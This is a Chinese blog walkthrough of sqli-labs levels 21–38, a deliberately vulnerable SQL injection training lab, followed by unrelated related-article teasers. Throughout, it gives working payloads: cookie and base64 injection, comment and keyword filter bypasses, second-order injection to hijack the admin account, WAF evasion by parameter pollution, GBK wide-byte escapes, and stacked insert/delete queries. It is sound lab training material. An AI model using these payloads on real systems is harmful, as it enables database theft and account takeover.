sqli-labs-master靶场训练笔记(21-38|精英级)

news2024/10/7 2:30:06

2024.1.30 

 level-21

(cookie 注入+数据加密) 

从页面上就可以看出这次的数据被 baes64 加密了

中国有句古话:师夷长技以制夷 ,用base64加密后的数据即可爆出数据

加密前:

admin' and updatexml(1,concat('~',(select database()),'~'),1) and '

加密后: 

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgJw==

(level-21能有什么坏心思呢,他只是进行了秘密行动罢了(๑>ڡ<)☆

level-22

(cookie 注入+数据加密) 

和level-21大差不差,用双引号装饰

admin" and updatexml(1,concat('~',(select database()),'~'),1) and "
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgIg==

(level-22能有什么坏心思呢,(๑>ڡ<)☆) 

level-23 

 (注释过滤) 

简单试一下,发现注释被过滤了,很好,不会,下一题

level-24

当然那是不可能的,为了表达的不那么抽象,我这里打上了显示sql语句的代码

在 -- 或 # 等注释符被过滤时可以用下面的两个模式绕过

?id=1' and ''='
?id=1' ;%00

对上述语句进行扩充即可爆出数据 

?id=-1' union select 1,database(),3 and ''='

(level-23能有什么坏心思呢,他只是想要完整的身子罢了(๑>ڡ<)☆ 

level-24

(二次注入) 

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SOL 查询语句所导致的注入。防御者可能在用户输入恶意数据时,对其中的特殊字符进行了转义处理;但在恶意数据插入到数据库时,被处理的数据又被还原并存储在数据库中,当Web 程序调用存储在数据库中的恶意数据并执行 SOL 查询时,就发生了 SOL 二次注入。 

先新建一个账号登录看看,出现更改密码的页面

是时候展示明修栈道,暗度陈仓的手法了

再建立一个“普普通通”的账号

admin'#

 从cmd中可以看到成功创建

Ps:

为什么 admin'# 在创建时没有注释掉后面的语句?

通过查看源码

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

这里对我们插入的数据进行了转义,被当成了常规字符,而不是sql语句

 

这里就是暗度成仓的魅力了,在更新时,因为存在注释符的关系使得对我们账户的修改变成了对admin账户的修改,从而得到admin账户的权限

通过查询数据库可知账户被修改了,这样成功拿到了admin账户权限

(level-24能有什么坏心思呢,他只是不知道社会的险恶罢了(๑>ڡ<)☆ 

level-25

(bypass) 

对方都明牌和我们玩了,非常的傲慢,是时候表现一下身法了

身法一:等价代换

and 可用 &&,%26%26,like

or 可用 ||,%7c%7c

身法二:双写

如anandd,oorr

?id=1' like 1 -- a

在这题中,接下来构造poc时只需要注意关键字里有or,and字符的用双写代替即可

?id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()) -- a

(level-25能有什么坏心思呢,他只是不想你要又要罢了(๑>ڡ<)☆)

level-25a 

 (bypass)

en....除了把数据类型改成了数字型,和level-25一模一样

?id=-1 union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()) -- a

 (level-25a能有什么坏心思呢,他不过是level-25的影分身罢了(๑>ڡ<)☆)

level-26

(bypass)  

在level-25的基础上,空格和注释被过滤了

在level-23中注释过滤的两个解决方案在这里依然适用,稍稍改变即可

?id=1' %26%26 ''='
?id=1' ;%00

接下来就要对付空格过滤了

空格被过滤的话,正常的查询语句就没用了(我没试出来,不知道各大佬有没有方法)

仔细想想,报错注入是没什么空格的,说不定可以

?id=1' || gtid_subset(database(),1);%00

 很好已经成功了一半,但报数据不用空格会导致字母堆在一起导致数据库无法解析

这时,用括号对着语句进行合理的分割, amazing

?id=1' || gtid_subset(concat('~',(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database())),'~') ,1);%00

(level-26能有什么坏心思呢,他只是想除你武器罢了(๑>ڡ<)☆)

level-26a

 (盲注+bypass)

隐去了报错信息,那么在level-26的基础上用盲注爆破

?id=1')%26%26if(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,1)='a',exp(1),exp(999));%00

 (level-26a能有什么坏心思呢,他只是想让你看括号看到头大罢了(๑>ڡ<)☆)

level-27

 (bypass)

过滤继续升级,又过滤了 union 和 select,但是or没被过滤

按照前两关的操作慢慢的构造poc即可

Ps:select双写两次便可绕过

?id=1' || gtid_subset(concat('~',(ssselectelectelect (group_concat(table_name)) from (information_schema.tables) where (table_schema=database())),'~') ,1);%00

(level-27能有什么坏心思呢,他只是得寸进尺罢了(๑>ڡ<)☆) 

level-27a 

 (盲注+bypass)

和level-26a一个道理,改成盲注的poc即可,相信你们已经会了,偷个懒

level-28

 (bypass)

简单尝试后发现单个union,select不会被过滤,但 union%09select 被过滤了,得到初步结论,过滤的是union select这个整体,那就继续双写union select

?id=999') unionunion%09select%09select%091,2,3;%00

 (level-28能有什么坏心思呢,他只是有了整体思想罢了(๑>ڡ<)☆)

level-28a

 没看出来和level-28有什么区别

?id=999') unionunion%09select%09select%091,2,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database());%00

(level-28a能有什么坏心思呢,我是真没看出来(๑>ڡ<)☆) 

level-29

(waf)  

 不同于之前的关卡,要在后面接上/login.php/才是真真的waf关卡

绕waf

当我们强行传入两个名都为id的参数时,waf获取的是第一个参数,而忽略第二个参数,则对第二个参数的内容不做任何检查和过滤,这样第二个参数就可以传入到apache服务器端,进行解析

/login.php/?id=1&id=2' -- a

(不知道为啥图片没加载出来,不过无伤大雅) 

 毕竟是 waf 第一关,后面的就没什么心眼子,直接注入就行

?id=1&id=-1' union select 1,2,database() -- a

(level-29能有什么坏心思呢,他不过找了个不称职保镖罢了(๑>ڡ<)☆) 

level-30

(waf)   

" 闭合,pass 

?id=1&id=-1" union select 1,2,3 -- a

level-31

(waf) 

") 闭合,pass 

?id=1&id=-1") union select 1,2,database() -- a

level-32

 (宽字节注入) 

还是先单引号起手,提示我们单引号被转义了,那就要想想怎么进行单引号脱离了

宽字节注入:

特殊值字符如单引号都会被转义,如 ' -> \', (因为gbk占用2个字节,而ascii占用1个字节)

mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%df%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。

我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \
所以如果我们输入%df%27(%27就是单引符号会被转义成 \ 也就是 %5c%27),在后台%df会将%5c“吃掉”,组成一个汉字(%df%5c是一个汉字)。

既然知道了原理,那么爆数据也就不在话下了 

?id=-1%df' union select 1,2,database() -- a

在报数据中注意要把数据库名等信息用16十六进制填写

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 -- a

(level-32能有什么坏心思呢,他不过是语言不通罢了(๑>ڡ<)☆)

level-33

 (宽字节注入)

又是莫名其妙的一关,跟level-32一模一样

?id=-1%df' union select 1,2,database()-- a

level-34

  (宽字节注入)

 依旧的换汤不换药

uname=1%df' union select 1,database() -- a&passwd=&submit=Submit

level-35

 (宽字节注入)

变成了数字型

?id=-1 union select 1,2,database() -- a

level-36

 (宽字节注入) 

???为什么又是一样的

?id=-1%df' union select 1,2,database() -- a

level-37

 (宽字节注入) 

 算了,已经无语了

uname=?id=-1%df' union select 1,database() -- a&passwd=&submit=Submit

level-38 

(堆叠注入) 

这题乍一看感觉又是来卖萌的,这不是和level-1一模一样吗

然后仔细看了一下源代码,根据 mysqli_multi_query 猜测这题的本意应该是堆叠注入

mysqli_multi_query() 是 PHP 中用于执行多个 SQL 查询语句的函数。这个函数允许你在一个连接中执行多个查询,并返回一个结果标识符,以便你可以逐个获取每个查询的结果。

函数的语法:

mysqli_multi_query(mysqli $connection, string $query)
  • $connection:一个有效的 mysqli 连接标识符。
  • $query:要执行的 SQL 查询语句。

返回值:

  • 如果第一个查询语句执行成功,该函数返回一个结果标识符,你可以使用这个标识符来获取查询结果。如果第一个查询语句失败,该函数将返回 FALSE。
  • 对于后续的查询语句,该函数将返回 TRUE 或 FALSE,具体取决于查询是否成功。

利用堆叠注入进行数据库的篡改 

对users表中插入数据:

?id=1';insert into users(id,username,password) value(15,'2024','干杯!') -- a

为了方便这里的查询操作用cmd显示 

对着level-1试了一下,果然不行

删除刚刚插入的数据

?id=1';delete from users where id=15 -- a

(level-38能有什么坏心思呢,他不过可以多线程操作罢了(๑>ڡ<)☆)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1434396.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【QT】Graphics View绘图架构

目录 1 场景、视图与图形项 1.1 场景 2.2 视图 3.3 图形项 2 GraphicsView的坐标系统 2.1 图形项坐标 2.2 视图坐标 2.3 场景坐标 2.4 坐标映射 3 GraphicsView相关的类 3.1 QGraphicsView类的主要接口函数 3.2 QGraphicsScene类的主要接口函数 3.3 图形项 4 GraphicsView程序基…

谷粒商城【成神路】-【5】——品牌管理【上】

目录 🧈1.新建品牌分类 🥞2.导入前端代码 🧂3.页面优化 🥓4.阿里云开通oss 🌭5.文件上传 🥚6.表单后端校验 JSR303 1.新建品牌分类 在renren-fast客户端中,创建二级菜单,…

基于CNN+LSTM深度学习网络的时间序列预测matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 卷积神经网络(CNN) 4.2 长短时记忆网络(LSTM) 4.3 CNNLSTM网络结构 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 MA…

微信自动预约小程序开发指南:从小白到专家

在数字化时代,预约小程序已成为各类服务行业的必备工具。本文将指导你从零开始,通过第三方小程序制作平台,顺利开发出一款具有预约功能的实用小程序。 第一步:注册登录第三方小程序制作平台 首先,你需要选择一个适合你…

麻雀搜索算法|Sparrow Search Algorithm(SSA)

在麻雀群体智慧、觅食和反捕食行为的启发下,提出了一种新的群体优化方法,即麻雀搜索算法(SSA)。 1、简介 在麻雀搜索算法中包含三种类型的麻雀个体,即发现者、跟随者和侦察者,三种类型对应三种行为。发现…

Intellij IDEA各种调试+开发中常见bug

Intellij IDEA中使用好Debug,主要包括如下内容: 一、Debug开篇 ①、以Debug模式启动服务,左边的一个按钮则是以Run模式启动。在开发中,我一般会直接启动Debug模式,方便随时调试代码。 ②、断点:在左边行…

下载已编译的 OpenCV 包在 Visual Studio 下实现快速配置

自己编译 OpenCV 挺麻烦的,配置需要耗费很长时间,编译也需要很长时间,而且无法保证能全部编译通过。利用 OpenCV 官网提供的已编译的 OpenCV 库可以节省很多时间。下面介绍安装配置方法。 1. OpenCV 官网 地址是:https://opencv…

用GOGS搭建GIT服务器

GOGS官网 Gogs: A painless self-hosted Git service 进入文件所在目录 cd /usr/local/develop 解压文件 tar -xvf gogs_0.13.0_linux_amd64.tar.gz 解压之后 进入gogs 目录 cd gogs 创建几个目录 userdata 存放用户数据 log文件存放进程日志 repositories 仓库根目…

数字孪生:智慧城市的核心技术与发展

一、引言 随着城市化进程的加速,智慧城市的概念和实践逐渐成为全球关注的焦点。智慧城市利用先进的信息通信技术,提升城市治理水平,改善市民的生活质量。而数字孪生作为智慧城市的核心技术,为城市管理、规划、应急响应等方面提供…

一维差分,二维差分(详解+例题)

一、一维差分 1.1、解释: 设数列an,记an为数列bn的前n项和 原数组:a[1],a[2],a[3],a[4]..................a[n]; 构造一个数组b:b[1],b[2],b[3],b[4].................b[i]; 使得a[i] b[1] b[2] b[3] ........ b[i]; 也就是…

SpringBoot:配置相关知识点

SpringBoot:多环境配置 配置知识点demo:点击查看LearnSpringBoot02 点击查看更多的SpringBoot教程 一、SpringBootApplication SpringBootApplication 来标注一个主程序类,说明这是一个Spring Boot应用,运行这个类的main方法来…

并查集实现|并查集在相关题目中的应用|手撕数据结构专栏

前言 那么这里博主先安利一下一些干货满满的专栏啦! 高质量干货博客汇总http://t.csdnimg.cn/jdQXqGit企业开发控制理论和实操http://t.csdnimg.cn/PyPJeDocker从认识到实践再到底层原理http://t.csdnimg.cn/G6Inp手撕数据结构http://t.csdnimg.cn/XeyJn 这里是很…

IT行业证书的获取与价值:提升职业竞争力的关键

目录 IT行业证书的价值和作用 1. Cisco(思科)认证(如CCNA、CCNP、CCIE): 2. 微软认证(如MCSA、MCSE、MCSD): 3. 计算机网络技术(CompTIA Network、CompTIA Security&a…

智慧城市:打造低碳未来,引领城市数字化转型新篇章

在“万物皆可数字化”的新时代浪潮下,智慧城市作为未来城市发展的先锋方向,正在以前所未有的速度和规模重塑我们的城市面貌。 智慧城市不仅是一个技术革新的标志,更是城市治理、民生服务等领域全面升级的重要引擎。 一、智慧城市的多元应用领…

C++之字符串

C风格字符串 字符串处理在程序中应用广泛&#xff0c;C风格字符串是以\0&#xff08;空字符&#xff09;来结尾的字符数组。对字符串进行操作的C函数定义在头文件<string.h>或中。常用的库函数如下&#xff1a; //字符检查函数(非修改式操作) size_t strlen( const char …

sqli.labs靶场(54-65关)

54、第五十四关 提示尝试是十次后数据库就重置&#xff0c;那我们尝试union 原来是单引号闭合 id-1 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schemadatabase()) -- 数据库&#xff1a;challenges&#xff0c…

Spring5系列学习文章分享---第六篇(框架新功能系列+整合日志+ @Nullable注解 + JUnit5整合)

目录 **Spring5** 框架新功能系列一Spring 5.0 框架自带了通用的日志封装Spring5 **框架核心容器**支持Nullable **注解****Spring5** **核心容器支持函数式风格** GenericApplicationContext**Spring5** **支持整合** JUnit5感谢阅读 开篇: 欢迎再次来到 Spring 5 学习系列&am…

图解支付-金融级密钥管理系统:构建支付系统的安全基石

经常在网上看到某某公司几千万的个人敏感信息被泄露&#xff0c;这要是放在持牌的支付公司&#xff0c;可能就是一个非常大的麻烦&#xff0c;不但会失去用户的信任&#xff0c;而且可能会被吊销牌照。而现实情况是很多公司的技术研发人员并没有足够深的安全架构经验来设计一套…

【2024美赛E题】985博士解题思路分析(持续更新中)!

【2024美赛E题】985博士解题思路分析&#xff01; 加群可以享受定制等更多服务&#xff0c;或者搜索B站&#xff1a;数模洛凌寺 联络组织企鹅&#xff1a;936670395 以下是E题老师的解题思路&#xff08;企鹅内还会随时更新文档&#xff09;&#xff1a; 2024美赛E题思路详解…

Unity3d Cinemachine篇(完)— TargetGroup

文章目录 前言使用TargetGroup追随多个模型1. 创建二个游戏物体2. 创建TargetGroup相机3. 设置相机4. 完成 前言 上一期我们简单的使用了ClearShot相机&#xff0c;这次我们来使用一下TargetGroup 使用TargetGroup追随多个模型 1. 创建二个游戏物体 2. 创建TargetGroup相机 3…